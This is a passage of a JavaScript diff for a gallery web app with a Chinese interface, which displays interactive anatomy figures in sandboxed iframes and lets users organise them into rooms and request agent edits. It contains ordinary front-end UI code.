preset.thinking?.effort ?? preset.effort ?? '') : ''; + effortSelect.value = [...effortSelect.options].some((o) => o.value === wanted) ? wanted : ''; + }; + modelSelect.onchange = () => syncEffort(null); + syncEffort(initial); + modelSelect.disabled = models.length === 0; +} + +/** @param {HTMLSelectElement} modelSelect @param {any} catalog */ +function currentModel(modelSelect, catalog) { + const [providerId, modelId] = modelSelect.value.split('\u0000'); + return (catalog?.models ?? []).find((/** @type {any} */ option) => option.providerId === providerId && option.modelId === modelId) ?? null; +} + +/** Build the selection the Host expects from the two controls. @param {HTMLSelectElement} modelSelect @param {HTMLSelectElement} effortSelect @param {any} catalog */ +function readSelection(modelSelect, effortSelect, catalog) { + const option = currentModel(modelSelect, catalog); + if (!option) return null; + /** @type {any} */ + const selection = { providerId: option.providerId, modelId: option.modelId }; + const effort = effortSelect.value; + if (effort === OFF) selection.variant = ''; + else if (effort) { + const thinkingVariant = (option.variants ?? []).find((/** @type {string} */ v) => v !== ''); + if (thinkingVariant) selection.variant = thinkingVariant; + selection.thinking = { effort }; + } + return selection; +} + +/* ================= example names ================= */ + +/** Chinese names for the examples shipped with the anatomy skill; the English title stays as a subtitle. */ +const EXAMPLE_ZH = { + 'arcade-cabinet': '街机机柜', + 'desk-computer': '台式电脑', + 'dial-indicator': '百分表', + 'raptor-engine': '猛禽 2 火箭发动机', + 'ripple-tank': '水波槽', + 'turning-dial': '密码转盘', + 'spot-plate': '点滴板', + 'test-rig': '按键弹簧测试台', +}; +/** @param {any} example */ +const exampleName = (example) => EXAMPLE_ZH[/** @type {keyof typeof EXAMPLE_ZH} */ (example.name)] ?? example.title; + +/* ================= artwork sources ================= */ + +/** @param {any} figure summary */ +function figureSources(figure) { + const latest = figure.latest; + if (!latest) return { darkImg: null, lightImg: null, darkPage: null, lightPage: null }; + const base = `/api/figures/${figure.id}/versions/${latest.n}`; + return { + darkImg: latest.hasPreview ? `${base}/preview` : null, + lightImg: latest.hasLightPreview ? `${base}/preview-light` : null, + darkPage: `${base}/dark`, + lightPage: latest.hasLight ? `${base}/light` : null, + }; +} + +/** @param {any} example */ +function exampleSources(example) { + return { + darkImg: null, // the skill ships light screenshots only + lightImg: example.hasPreview ? `/api/examples/${example.name}/preview` : null, + darkPage: `/api/examples/${example.name}/dark`, + lightPage: example.hasLight ? `/api/examples/${example.name}/light` : null, + }; +} + +/** @type {Map>} */ +const pageCache = new Map(); +/** @param {string} url */ +function fetchPage(url) { + if (!pageCache.has(url)) { + const pending = fetch(url).then((response) => { + if (!response.ok) throw new Error(`读取失败(${response.status})`); + return response.text(); + }); + pending.catch(() => pageCache.delete(url)); + pageCache.set(url, pending); + } + return /** @type {Promise} */ (pageCache.get(url)); +} + +/* + * Live miniatures show only the framed plate of an anatomy page (`.iso-plate`), rendered at a fixed + * natural width and scaled into the tile. A small injected script reports the plate size so each tile + * keeps the figure's own aspect ratio. The iframe stays sandboxed (scripts only, opaque origin). + */ +const NATURAL_WIDTH = 860; +const FRAME_STYLE = ` +`; + +/** @param {string} html */ +function framed(html) { + const at = html.search(/<\/head>/i); + return at >= 0 ? html.slice(0, at) + FRAME_STYLE + html.slice(at) : FRAME_STYLE + html; +} + +/** @type {WeakMap} */ +const liveByWindow = new WeakMap(); +window.addEventListener('message', (event) => { + const data = event.data; + if (!data || data.type !== 'anatomy-gallery:size' || !event.source) return; + const box = liveByWindow.get(/** @type {Window} */ (event.source)); + if (!box || !(data.w > 0 && data.h > 0)) return; + box.dataset.w = String(data.w); + box.dataset.h = String(data.h); + layoutLive(box); +}); + +/** @param {HTMLElement} box */ +function layoutLive(box) { + const frame = /** @type {HTMLIFrameElement | null} */ (box.querySelector('iframe')); + if (!frame) return; + const w = Number(box.dataset.w) || NATURAL_WIDTH; + const h = Number(box.dataset.h) || Math.round(NATURAL_WIDTH * 0.75); + frame.style.width = `${w}px`; + frame.style.height = `${h}px`; + const cw = box.clientWidth; + if (!cw) return; + if (box.dataset.fit === 'contain') { + const ch = box.clientHeight; + const scale = Math.min(cw / w, ch / h); + frame.style.transform = `translate(${(cw - w * scale) / 2}px, ${(ch - h * scale) / 2}px) scale(${scale})`; + } else { + box.style.aspectRatio = `${w} / ${h}`; + frame.style.transform = `scale(${cw / w})`; + } +} + +const liveResize = new ResizeObserver((entries) => { + for (const entry of entries) layoutLive(/** @type {HTMLElement} */ (entry.target)); +}); + +/** @type {HTMLElement[]} */ +const liveQueue = []; +let liveBusy = 0; +const liveObserver = new IntersectionObserver((entries) => { + for (const entry of entries) { + if (!entry.isIntersecting) continue; + liveObserver.unobserve(entry.target); + liveQueue.push(/** @type {HTMLElement} */ (entry.target)); + } + pumpLive(); +}, { rootMargin: '240px' }); + +function pumpLive() { + while (liveBusy < 2 && liveQueue.length) { + const box = /** @type {HTMLElement} */ (liveQueue.shift()); + if (!box.isConnected) continue; + liveBusy += 1; + fetchPage(/** @type {string} */ (box.dataset.src)) + .then((html) => { + const frame = /** @type {HTMLIFrameElement} */ (box.querySelector('iframe')); + if (frame.contentWindow) liveByWindow.set(frame.contentWindow, box); + frame.setAttribute('srcdoc', framed(html)); + return new Promise((resolve) => { + frame.addEventListener('load', resolve, { once: true }); + setTimeout(resolve, 4000); + }); + }) + .catch(() => box.replaceChildren(h('div', { class: 'placeholder' }, icon('cube', 24), '载入失败'))) + .finally(() => { + liveBusy -= 1; + pumpLive(); + }); + } +} + +/** @param {string} url @param {string} theme @param {'width' | 'contain'} [fit] */ +function liveMini(url, theme, fit = 'width') { + const box = h('div', { class: 'live', 'data-figure-theme': theme, 'data-src': url, 'data-fit': fit }, + h('iframe', { sandbox: 'allow-scripts', tabindex: '-1', 'aria-hidden': 'true', title: '作品缩略预览' })); + liveObserver.observe(box); + liveResize.observe(box); + requestAnimationFrame(() => layoutLive(box)); + return box; +} + +/** + * Show the artwork in the gallery theme: a matching screenshot, else a live miniature of the matching + * edition, else the other screenshot inverted (close to anatomy's monochrome dark edition). + * @param {{ darkImg: string | null, lightImg: string | null, darkPage: string | null, lightPage: string | null }} s + * @param {{ preferLive?: boolean, fit?: 'width' | 'contain' }} [options] + */ +function artwork(s, options = {}) { + const theme = galleryTheme(); + const img = theme === 'dark' ? s.darkImg : s.lightImg; + const page = theme === 'dark' ? s.darkPage : s.lightPage; + if (options.preferLive && page) return liveMini(page, theme, options.fit); + if (img) return h('img', { src: img, alt: '', loading: 'lazy' }); + if (page) return liveMini(page, theme, options.fit); + const other = s.darkImg ?? s.lightImg; + if (other) return h('img', { src: other, alt: '', loading: 'lazy', class: 'invert' }); + const anyPage = s.darkPage ?? s.lightPage; + if (anyPage) return liveMini(anyPage, anyPage === s.darkPage ? 'dark' : 'light', options.fit); + return h('div', { class: 'placeholder' }, icon('cube', 28), '还没有版本'); +} + +/** Small still image for filmstrips and version lists; never live. */ +function still(/** @type {string | null} */ darkImg, /** @type {string | null} */ lightImg, /** @type {string} */ fallback) { + const theme = galleryTheme(); + const exact = theme === 'dark' ? darkImg : lightImg; + const src = exact ?? darkImg ?? lightImg; + if (!src) return h('span', {}, fallback); + return h('img', { src, alt: '', loading: 'lazy', class: exact ? '' : 'invert' }); +} + +/* ================= wall ================= */ + +async function renderWall() { + view = { kind: 'wall' }; + document.body.classList.remove('mode-stage'); + const state = await loadState(); + themeListeners.add(() => view.kind === 'wall' && galleryState && paintWall(galleryState)); + paintWall(state); +} + +/* ---------- rooms (user-defined categories) ---------- */ + +const ALL_ROOMS = 'all'; +/** The room in the URL, or "all"; unknown ids fall back to all. */ +function currentRoom() { + const id = new URLSearchParams(location.search).get('room'); + return id && galleryState?.categories.some((/** @type {any} */ c) => c.id === id) ? id : ALL_ROOMS; +} +/** @param {string} room */ +const roomQuery = (room) => (room && room !== ALL_ROOMS ? `room=${encodeURIComponent(room)}` : ''); +/** @param {string} id */ +const roomName = (id) => galleryState?.categories.find((/** @type {any} */ c) => c.id === id)?.name ?? '默认'; +/** @param {string} figureId @param {string} room */ +const figureHref = (figureId, room) => `?figure=${figureId}${roomQuery(room) ? `&${roomQuery(room)}` : ''}`; + +/** @param {NonNullable} state */ +function paintWall(state) { + const room = currentRoom(); + const all = state.figures; + const mine = room === ALL_ROOMS ? all : all.filter((figure) => figure.categoryId === room); + /** @type {HTMLElement} */ (document.getElementById('brand-sub')).textContent = all.length ? `${all.length} 件作品` : ''; + const nodes = []; + if (!state.agentAvailable) nodes.push(h('p', { class: 'notice', role: 'status' }, '画廊没有获得运行 Agent 的授权,只能浏览和导入,不能新建或修改。')); + + nodes.push(h('nav', { class: 'rooms', 'aria-label': '展区' }, + h('div', { class: 'room-tabs' }, + [{ id: ALL_ROOMS, name: '全部', count: all.length }, ...state.categories].map((/** @type {any} */ c) => + h('a', { + class: 'room-tab', + href: `/gallery${roomQuery(c.id) ? `?${roomQuery(c.id)}` : ''}`, + 'aria-current': c.id === room ? 'page' : null, + onclick: (/** @type {MouseEvent} */ event) => { + event.preventDefault(); + go(roomQuery(c.id) ? `?${roomQuery(c.id)}` : ''); + }, + }, c.name, h('span', { class: 'room-count' }, String(c.count))))), + h('button', { type: 'button', class: 'btn ghost sm', onclick: () => openRoomsDialog() }, '管理展区'), + )); + + const featured = mine.find((figure) => figure.latest) ?? mine[0]; + if (featured) nodes.push(hero({ + href: figureHref(featured.id, room), + kicker: featured.lastRun?.status === 'running' ? '正在制作' : room === ALL_ROOMS ? `最新作品 · ${roomName(featured.categoryId)}` : '本展区最新', + title: featured.title, + note: featured.latest?.note || (featured.latest ? `第 ${featured.latest.n} 版 · ${when(featured.updatedAt)}` : '首版完成后会挂在这里'), + sources: figureSources(featured), + action: '进入展厅', + })); + else if (room === ALL_ROOMS && state.examples.items.length) { + const example = state.examples.items.find((item) => item.name === 'dial-indicator') ?? state.examples.items[0]; + nodes.push(hero({ + href: `?example=${example.name}`, + kicker: `anatomy 示例 · ${example.title}`, + title: exampleName(example), + note: '你的作品会挂在这里。点「新建作品」,描述想讲清楚的东西,Agent 会用 anatomy 把它做成一台可以交互的小机器。', + sources: exampleSources(example), + action: '看看这件', + })); + } + + const title = room === ALL_ROOMS ? '我的作品' : roomName(room); + const mineRoom = h('section', { class: 'room', 'aria-labelledby': 'room-mine' }, + h('div', { class: 'room-head' }, h('h2', { id: 'room-mine' }, title), h('span', { class: 'muted' }, mine.length ? `${mine.length} 件` : '')), + ); + if (mine.length === 0) { + mineRoom.append(h('div', { class: 'empty-room' }, + h('p', {}, room === ALL_ROOMS + ? '还没有作品。新建一件,或者把已经做好的 anatomy 页面导入进来。' + : '这个展区还没有作品。可以在这里新建,也可以在作品的“信息”里把它移过来。'), + h('div', { class: 'row' }, + h('button', { type: 'button', class: 'btn secondary', onclick: () => openImportDialog() }, '导入'), + h('button', { type: 'button', class: 'btn primary', disabled: !state.agentAvailable, onclick: () => openNewDialog() }, '新建作品'), + ), + )); + } else if (mine.length === 1 && featured) { + mineRoom.append(h('div', { class: 'empty-room' }, + h('p', {}, room === ALL_ROOMS ? '上面就是你的第一件作品。之后新建或导入的作品都会挂在这面墙上。' : '这个展区目前只有上面这一件作品。'), + h('button', { type: 'button', class: 'btn primary', disabled: !state.agentAvailable, onclick: () => openNewDialog() }, '再做一件'), + )); + } else { + mineRoom.append(h('div', { class: 'wall', role: 'list' }, mine.filter((figure) => figure !== featured).map((figure) => tile({ + href: figureHref(figure.id, room), + title: figure.title, + meta: [room === ALL_ROOMS ? roomName(figure.categoryId) : '', figure.latest ? `v${figure.latest.n}` : '', when(figure.latest ? figure.updatedAt : figure.createdAt)].filter(Boolean).join(' · '), + note: figure.latest?.note, + sources: figureSources(figure), + status: figure.lastRun?.status, + })))); + } + nodes.push(mineRoom); + + if (room === ALL_ROOMS) { + const examplesRoom = h('section', { class: 'room', 'aria-labelledby': 'room-examples' }, + h('div', { class: 'room-head' }, h('h2', { id: 'room-examples' }, 'anatomy 示例'), h('span', { class: 'muted' }, '技能自带,可以照着新建')), + ); + if (!state.examples.installed) { + examplesRoom.append(h('div', { class: 'empty-room' }, h('p', {}, '本机没有找到 anatomy 技能。新建作品也需要先安装它。'))); + } else { + examplesRoom.append(h('div', { class: 'wall', role: 'list' }, state.examples.items.map((example) => tile({ + href: `?example=${example.name}`, + title: exampleName(example), + meta: example.title, + sources: exampleSources(example), + })))); + } + nodes.push(examplesRoom); + } + main.replaceChildren(...nodes); +} + +/** Fill a room select; `preferred` falls back to the default room. @param {HTMLSelectElement} select @param {string} [preferred] */ +function fillRoomSelect(select, preferred) { + const rooms = galleryState?.categories ?? [{ id: 'default', name: '默认' }]; + select.replaceChildren(...rooms.map((/** @type {any} */ c) => h('option', { value: c.id }, c.name))); + select.value = rooms.some((/** @type {any} */ c) => c.id === preferred) ? /** @type {string} */ (preferred) : 'default'; +} + +/* ---------- manage rooms ---------- */ + +let roomsBusy = false; +function openRoomsDialog() { + const dialog = /** @type {HTMLDialogElement} */ (document.getElementById('rooms-dialog')); + /** @type {HTMLElement} */ (document.getElementById('rooms-error')).textContent = ''; + paintRooms(); + dialog.showModal(); + // Land on "add a room", not on the first rename field. + /** @type {HTMLInputElement} */ (document.getElementById('rooms-add-name')).focus(); +} + +/** @param {string} path @param {{ method?: string, body?: any }} options */ +async function roomsCall(path, options) { + if (roomsBusy) return false; + roomsBusy = true; + const error = /** @type {HTMLElement} */ (document.getElementById('rooms-error')); + error.textContent = ''; + try { + await api(path, options); + await loadState(); + paintRooms(); + if (view.kind === 'wall' && galleryState) paintWall(galleryState); + return true; + } catch (err) { + error.textContent = message(err); + return false; + } finally { + roomsBusy = false; + } +} + +function paintRooms() { + const list = /** @type {HTMLElement} */ (document.getElementById('rooms-list')); + const rooms = galleryState?.categories ?? []; + const home = rooms.find((/** @type {any} */ c) => c.builtIn)?.name ?? '默认'; + /** @type {HTMLElement} */ (document.getElementById('rooms-hint')).textContent = + `每件作品挂在一个展区里。改名后按回车保存;移除一个展区时,里面的作品会回到“${home}”。“${home}”是内置展区,可以改名,不能移除。`; + fill(list, ...rooms.map((/** @type {any} */ c, /** @type {number} */ index) => { + const input = /** @type {HTMLInputElement} */ (h('input', { type: 'text', value: c.name, maxlength: 20, 'aria-label': `展区名称:${c.name}` })); + const save = () => { + const name = input.value.trim(); + if (!name || name === c.name) { + input.value = c.name; + return; + } + void roomsCall(`/api/categories/${c.id}`, { method: 'PATCH', body: { name } }); + }; + input.addEventListener('keydown', (event) => { + if (event.key === 'Enter') { + event.preventDefault(); + save(); + } else if (event.key === 'Escape') { + event.stopPropagation(); + input.value = c.name; + input.blur(); + } + }); + input.addEventListener('blur', save); + const move = (/** @type {number} */ delta) => { + const ids = rooms.map((/** @type {any} */ r) => r.id); + const [item] = ids.splice(index, 1); + ids.splice(index + delta, 0, item); + void roomsCall('/api/categories/order', { method: 'POST', body: { ids } }); + }; + let armed = false; + const drop = /** @type {HTMLButtonElement} */ (h('button', { + type: 'button', + class: 'btn ghost sm danger-text', + hidden: c.builtIn, + onclick: () => { + if (!armed) { + armed = true; + drop.textContent = c.count ? `确认(${c.count} 件移到“${home}”)` : '确认'; + setTimeout(() => { + if (drop.isConnected) { + armed = false; + drop.textContent = '移除'; + } + }, 4000); + return; + } + const leaving = new URLSearchParams(location.search).get('room') === c.id; + void roomsCall(`/api/categories/${c.id}`, { method: 'DELETE' }).then((ok) => { + if (ok && leaving) go(''); + }); + }, + }, '移除')); + return h('li', { class: 'room-row' }, + h('div', { class: 'room-order' }, + h('button', { type: 'button', class: 'icon-btn sm', 'aria-label': `上移 ${c.name}`, disabled: index === 0, onclick: () => move(-1) }, icon('up', 14)), + h('button', { type: 'button', class: 'icon-btn sm', 'aria-label': `下移 ${c.name}`, disabled: index === rooms.length - 1, onclick: () => move(1) }, icon('down', 14))), + input, + h('span', { class: 'muted small room-row-count' }, `${c.count} 件${c.builtIn ? ' · 内置' : ''}`), + drop); + })); +} + +/** @param {{ href: string, kicker: string, title: string, note: string, sources: any, action: string }} o */ +function hero(o) { + const theme = galleryTheme(); + const art = h('div', { class: 'art' }, artwork(o.sources, { preferLive: true, fit: 'contain' })); + return h('a', { + class: 'hero', + href: `/gallery${o.href}`, + 'data-figure-theme': theme, + 'aria-label': `${o.kicker}:${o.title}`, + onclick: (/** @type {MouseEvent} */ event) => { + event.preventDefault(); + go(o.href); + }, + }, + art, + h('div', { class: 'hero-caption' }, + h('div', {}, h('p', { class: 'hero-kicker' }, o.kicker), h('p', { class: 'hero-title' }, o.title), h('p', { class: 'hero-note small' }, o.note)), + h('span', { class: 'btn primary enter' }, o.action), + )); +} + +/** @param {{ href: string, title: string, meta: string, note?: string, sources: any, status?: string }} o */ +function tile(o) { + const frame = h('div', { class: 'tile-frame', 'data-figure-theme': galleryTheme() }, artwork(o.sources)); + if (o.status && o.status !== 'finished' && o.status !== 'aborted') { + const [text, cls] = RUN_STATUS[/** @type {keyof typeof RUN_STATUS} */ (o.status)] ?? [o.status, '']; + frame.append(h('span', { class: `status-dot ${cls}` }, text)); + } + return h('a', { + class: 'tile', + role: 'listitem', + href: `/gallery${o.href}`, + onclick: (/** @type {MouseEvent} */ event) => { + event.preventDefault(); + go(o.href); + }, + }, + frame, + h('div', { class: 'tile-caption' }, h('span', { class: 'tile-title', title: o.title }, o.title), h('span', { class: 'tile-meta' }, o.meta)), + o.note ? h('p', { class: 'tile-note' }, o.note) : null, + ); +} + +/* ================= stage ================= */ + +/** + * Shared immersive frame: bar, artwork, optional drawer, filmstrip. + * @param {{ title: string, subtitle: string, url: (n: number | null, theme: string) => string, + * hasLight: (n: number | null) => boolean, version: number | null, right: HTMLElement[], + * drawer?: HTMLElement, film: { items: any[], currentId: string, hrefOf: (item: any) => string, label: (item: any) => string, + * still: (item: any) => HTMLElement } }} o + */ +function buildStage(o) { + document.body.classList.add('mode-stage'); + let theme = galleryTheme(); + let pinned = false; + let current = o.version; + let loadedKey = ''; + let token = 0; + + const frame = h('iframe', { title: `${o.title}(可交互)`, sandbox: 'allow-scripts', referrerpolicy: 'no-referrer' }); + const overlay = h('div', { class: 'stage-overlay', role: 'status' }, h('span', { class: 'spinner', 'aria-hidden': 'true' }), '正在载入…'); + const art = h('div', { class: 'stage-art' }, h('div', { class: 'stage-canvas' }, frame, overlay)); + const darkChip = h('button', { type: 'button', class: 'chip', 'aria-pressed': 'false', onclick: () => setTheme('dark') }, '深色'); + const lightChip = h('button', { type: 'button', class: 'chip', 'aria-pressed': 'false', onclick: () => setTheme('light') }, '浅色'); + const titleEl = h('strong', {}, o.title); + const subtitleEl = h('span', {}, o.subtitle); + const themeSeg = h('div', { class: 'seg', role: 'group', 'aria-label': '作品明暗版本' }, darkChip, lightChip); + const stage = h('section', { class: 'stage', 'aria-label': `展厅:${o.title}` }, + h('header', { class: 'stage-bar' }, + h('div', { class: 'stage-left' }, + h('button', { type: 'button', class: 'chip icon-only', 'aria-label': '返回画廊', onclick: () => go(o.backQuery ?? '') }, icon('back')), + h('div', { class: 'stage-title' }, titleEl, subtitleEl), + ), + h('div', { class: 'stage-right' }, themeSeg, ...o.right), + ), + h('div', { class: 'stage-body' }, art, o.drawer ?? null), + filmstrip(o.film), + ); + + function setTheme(/** @type {string} */ next) { + pinned = true; + theme = next; + void load(); + } + themeListeners.add((galleryThemeNow) => { + if (!pinned) { + theme = galleryThemeNow; + void load(); + } + }); + + async function load() { + const lightOk = current == null || o.hasLight(current); + if (!lightOk && theme === 'light') theme = 'dark'; + themeSeg.hidden = current == null; + lightChip.toggleAttribute('disabled', current != null && !o.hasLight(current)); + lightChip.title = lightOk ? '' : '这个版本没有浅色版'; + darkChip.setAttribute('aria-pressed', String(theme === 'dark')); + lightChip.setAttribute('aria-pressed', String(theme === 'light')); + stage.dataset.figureTheme = theme; + if (current == null && o.version === null && o.film.currentId.startsWith('fig-')) { + frame.removeAttribute('srcdoc'); + loadedKey = ''; + overlay.replaceChildren(icon('cube', 32), h('p', {}, '这件作品还没有可以展出的版本。Agent 登记第一版后会自动出现在这里。')); + overlay.hidden = false; + return; + } + const key = `${current}:${theme}`; + if (key === loadedKey) return; + const mine = ++token; + overlay.replaceChildren(h('span', { class: 'spinner', 'aria-hidden': 'true' }), '正在载入…'); + overlay.hidden = false; + try { + const html = await fetchPage(o.url(current, theme)); + if (mine !== token) return; + frame.addEventListener('load', () => mine === token && (overlay.hidden = true), { once: true }); + frame.setAttribute('srcdoc', html); + loadedKey = key; + } catch (error) { + if (mine === token) overlay.replaceChildren(h('p', {}, `作品载入失败:${message(error)}`)); + } + } + + main.replaceChildren(stage); + void load(); + return { + stage, + titleEl, + subtitleEl, + load, + get version() { + return current; + }, + /** @param {number | null} n */ + show(n) { + current = n; + void load(); + }, + }; +} + +/** @param {{ items: any[], currentId: string, hrefOf: (item: any) => string, label: (item: any) => string, still: (item: any) => HTMLElement }} film */ +function filmstrip(film) { + const index = film.items.findIndex((item) => item.id === film.currentId || item.name === film.currentId); + const prev = film.items[index - 1]; + const next = film.items[index + 1]; + const list = h('div', { class: 'film', role: 'list' }, film.items.map((item, i) => + h('button', { + type: 'button', + class: 'film-item', + role: 'listitem', + title: film.label(item), + 'aria-label': film.label(item), + 'aria-current': String(i === index), + onclick: () => go(film.hrefOf(item)), + }, film.still(item)))); + requestAnimationFrame(() => /** @type {HTMLElement | undefined} */ (list.children[index])?.scrollIntoView({ inline: 'center', block: 'nearest' })); + return h('nav', { class: 'filmstrip', 'aria-label': '同一展区的其他作品', hidden: film.items.length <= 1 }, + h('button', { type: 'button', class: 'chip icon-only', 'aria-label': '上一件', disabled: !prev, onclick: () => prev && go(film.hrefOf(prev)) }, icon('back')), + list, + h('button', { type: 'button', class: 'chip icon-only', 'aria-label': '下一件', disabled: !next, onclick: () => next && go(film.hrefOf(next)) }, icon('next')), + ); +} + +document.addEventListener('keydown', (event) => { + if (!document.body.classList.contains('mode-stage')) return; + const target = /** @type {HTMLElement} */ (event.target); + if (target.closest('input, textarea, select, dialog, .menu')) return; + if (event.key === 'ArrowLeft' || event.key === 'ArrowRight') { + const items = [...document.querySelectorAll('.film-item')]; + const index = items.findIndex((item) => item.getAttribute('aria-current') === 'true'); + const nextItem = /** @type {HTMLButtonElement | undefined} */ (items[index + (event.key === 'ArrowLeft' ? -1 : 1)]); + nextItem?.click(); + } else if (event.key === 'Escape') { + if (view.drawerOpen) setDrawer(false); + else go(view.backQuery ?? ''); + } +}); + +/* ---------- example stage ---------- */ + +/** @param {string} name */ +async function renderExampleStage(name) { + const state = galleryState ?? (await loadState()); + const example = state.examples.items.find((item) => item.name === name); + if (!example) throw new Error('找不到这个示例'); + view = { kind: 'example', name }; + buildStage({ + title: exampleName(example), + subtitle: `anatomy 示例 · ${example.title}`, + url: (_n, theme) => `/api/examples/${name}/${theme}`, + hasLight: () => example.hasLight, + version: 0, + right: [h('button', { type: 'button', class: 'chip primary', disabled: !state.agentAvailable, onclick: () => openNewDialog(name) }, '照这件新建')], + film: { + items: state.examples.items.map((item) => ({ ...item, id: item.name })), + currentId: name, + hrefOf: (item) => `?example=${item.name}`, + label: (item) => exampleName(item), + still: (item) => still(null, item.hasPreview ? `/api/examples/${item.name}/preview` : null, exampleName(item)), + }, + }); +} + +/* ---------- figure stage ---------- */ + +/** @param {string} id */ +async function renderFigureStage(id) { + const [data, state] = await Promise.all([api(`/api/figures/${id}`), galleryState ? Promise.resolve(galleryState) : loadState()]); + const figure = data.figure; + const latest = figure.versions.at(-1)?.n ?? null; + const room = currentRoom(); + const backQuery = roomQuery(room) ? `?${roomQuery(room)}` : ''; + view = { kind: 'figure', id, data, live: data.live, tab: 'edit', drawerOpen: !!data.live || latest === null, room, backQuery }; + + const statusPill = h('button', { type: 'button', class: 'pill', hidden: true, onclick: () => setDrawer(true, 'edit') }); + const versionSelect = /** @type {HTMLSelectElement} */ (h('select', { class: 'chip', 'aria-label': '选择版本', onchange: () => { + view.stageApi.show(Number(versionSelect.value)); + renderVersionsTab(); + } })); + const convChip = h('button', { type: 'button', class: 'chip', 'aria-label': '在侧栏打开对话', onclick: () => void openConversation() }, icon('chat', 14), h('span', { class: 'chip-label' }, '对话')); + const drawerChip = h('button', { type: 'button', class: 'chip', 'aria-label': '修改与版本', 'aria-expanded': 'false', 'aria-controls': 'drawer', onclick: () => setDrawer(!view.drawerOpen) }, icon('panel', 14), h('span', { class: 'chip-label' }, '修改与版本')); + const moreChip = /** @type {HTMLButtonElement} */ (h('button', { type: 'button', class: 'chip icon-only', 'aria-label': '更多操作', 'aria-haspopup': 'menu', 'aria-expanded': 'false' }, icon('more'))); + const moreMenu = h('div', { class: 'menu', role: 'menu', hidden: true }, + h('button', { type: 'button', role: 'menuitem', class: 'danger-item', onclick: () => confirmDelete() }, '从画廊撤下…')); + bindMenu(moreChip, moreMenu); + + const tabs = /** @type {Record} */ ({}); + const panels = /** @type {Record} */ ({}); + for (const [key, label] of [['edit', '修改'], ['process', '过程'], ['versions', '版本'], ['info', '信息']]) { + tabs[key] = /** @type {HTMLButtonElement} */ (h('button', { type: 'button', class: 'tab', role: 'tab', id: `tab-${key}`, 'aria-controls': `panel-${key}`, onclick: () => setDrawer(true, key) }, label)); + panels[key] = h('div', { class: 'tabpanel', role: 'tabpanel', id: `panel-${key}`, 'aria-labelledby': `tab-${key}` }); + } + const drawer = h('aside', { class: 'drawer', id: 'drawer', 'aria-label': '修改与版本' }, + h('div', { class: 'tabs', role: 'tablist' }, tabs.edit, tabs.process, tabs.versions, tabs.info, + h('button', { type: 'button', class: 'icon-btn tab-close', 'aria-label': '收起', onclick: () => setDrawer(false) }, icon('close'))), + panels.edit, panels.process, panels.versions, panels.info); + + const stageApi = buildStage({ + title: figure.title, + subtitle: '', + url: (n, theme) => `/api/figures/${id}/versions/${n}/${theme}`, + hasLight: (n) => !!view.data.figure.versions.find((/** @type {any} */ v) => v.n === n)?.hasLight, + version: latest, + right: [statusPill, versionSelect, convChip, drawerChip, h('div', { class: 'menu-wrap' }, moreChip, moreMenu)], + drawer, + backQuery, + film: { + // Browse within the room the visitor came from. + items: room === ALL_ROOMS ? state.figures : state.figures.filter((/** @type {any} */ item) => item.categoryId === room), + currentId: id, + hrefOf: (item) => figureHref(item.id, room), + label: (item) => item.title, + still: (item) => { + const s = figureSources(item); + return still(s.darkImg, s.lightImg, item.title); + }, + }, + }); + Object.assign(view, { stageApi, statusPill, versionSelect, convChip, drawerChip, drawer, tabs, panels, prevLatest: latest }); + themeListeners.add(() => view.kind === 'figure' && renderVersionsTab()); + updateFigure(); + setDrawer(view.drawerOpen, view.tab); + tickTimer = window.setInterval(() => view.kind === 'figure' && view.live && renderLive(), 1000); +} + +/** @param {boolean} open @param {string} [tab] */ +function setDrawer(open, tab) { + if (view.kind !== 'figure') return; + view.drawerOpen = open; + if (tab) view.tab = tab; + view.drawer.hidden = !open; + view.drawerChip.setAttribute('aria-expanded', String(open)); + for (const [key, button] of Object.entries(view.tabs)) { + const selected = key === view.tab; + button.setAttribute('aria-selected', String(selected)); + button.tabIndex = selected ? 0 : -1; + view.panels[key].hidden = !selected; + } + if (open && view.tab === 'process') void renderProcessTab(); +} + +function updateFigure() { + const figure = view.data.figure; + const latest = figure.versions.at(-1)?.n ?? null; + const stageApi = view.stageApi; + stageApi.titleEl.textContent = figure.title; + const origin = { gallery: '画廊新建', chat: '对话中登记', import: '导入' }[/** @type {'gallery'} */ (figure.source)] ?? ''; + stageApi.subtitleEl.textContent = `${roomName(figure.categoryId)} · ${figure.versions.length ? `${figure.versions.length} 个版本` : '尚无版本'} · ${origin}`; + + // Follow a newly registered version only when the visitor was looking at the previous latest one. + const follow = stageApi.version == null || stageApi.version === view.prevLatest; + view.prevLatest = latest; + view.versionSelect.replaceChildren(...[...figure.versions].reverse().map((v) => h('option', { value: v.n }, `v${v.n}${v.n === latest ? ' · 最新' : ''}`))); + view.versionSelect.hidden = figure.versions.length === 0; + if (follow && latest !== stageApi.version) stageApi.show(latest); + if (stageApi.version != null) view.versionSelect.value = String(stageApi.version); + else void stageApi.load(); + + view.convChip.hidden = !figure.sessionId; + renderLive(); + renderEditTab(); + renderVersionsTab(); + renderInfoTab(); + if (view.drawerOpen && view.tab === 'process') void renderProcessTab(); +} + +/* ---------- drawer: edit ---------- */ + +function renderEditTab() { + const figure = view.data.figure; + const panel = view.panels.edit; + const statusBlock = h('div', { class: 'block', id: 'run-block' }); + view.runBlock = statusBlock; + view.runDom = null; + const nodes = [statusBlock]; + const hasVersion = figure.versions.length > 0; + if (!view.data.agentAvailable) { + nodes.push(h('div', { class: 'block' }, h('p', { class: 'muted small' }, '画廊没有获得运行 Agent 的授权,不能修改。'))); + } else if (!hasVersion) { + nodes.push(h('div', { class: 'block' }, + h('p', { class: 'muted small' }, view.live ? 'Agent 正在制作首版,完成后会自动展出。' : '首版还没有登记,可以按最初的需求重新生成。'), + view.live ? null : modelRow(false), + view.live ? null : h('div', { class: 'row start' }, h('button', { type: 'button', class: 'btn primary sm', onclick: () => void startRun('create', '') }, '重新生成')), + )); + } else { + const textarea = /** @type {HTMLTextAreaElement} */ (h('textarea', { rows: 5, maxlength: 4000, placeholder: '例如:把弹簧换成两根,读数改成毫米,浅色版里指针更醒目。', disabled: !!view.live })); + textarea.value = view.draft ?? ''; + textarea.addEventListener('input', () => (view.draft = textarea.value)); + const form = h('form', { + class: 'block', + onsubmit: (/** @type {SubmitEvent} */ event) => { + event.preventDefault(); + const text = textarea.value.trim(); + if (!text) { + textarea.focus(); + toast('先写下要怎么改'); + return; + } + void startRun('edit', text).then((ok) => { + if (ok) view.draft = ''; + }); + }, + }, + h('label', { class: 'field' }, h('span', {}, `想怎么改(基于 v${figure.versions.at(-1).n})`), textarea), + modelRow(!!view.live), + h('div', { class: 'row' }, h('button', { type: 'submit', class: 'btn primary sm', disabled: !!view.live }, view.live ? 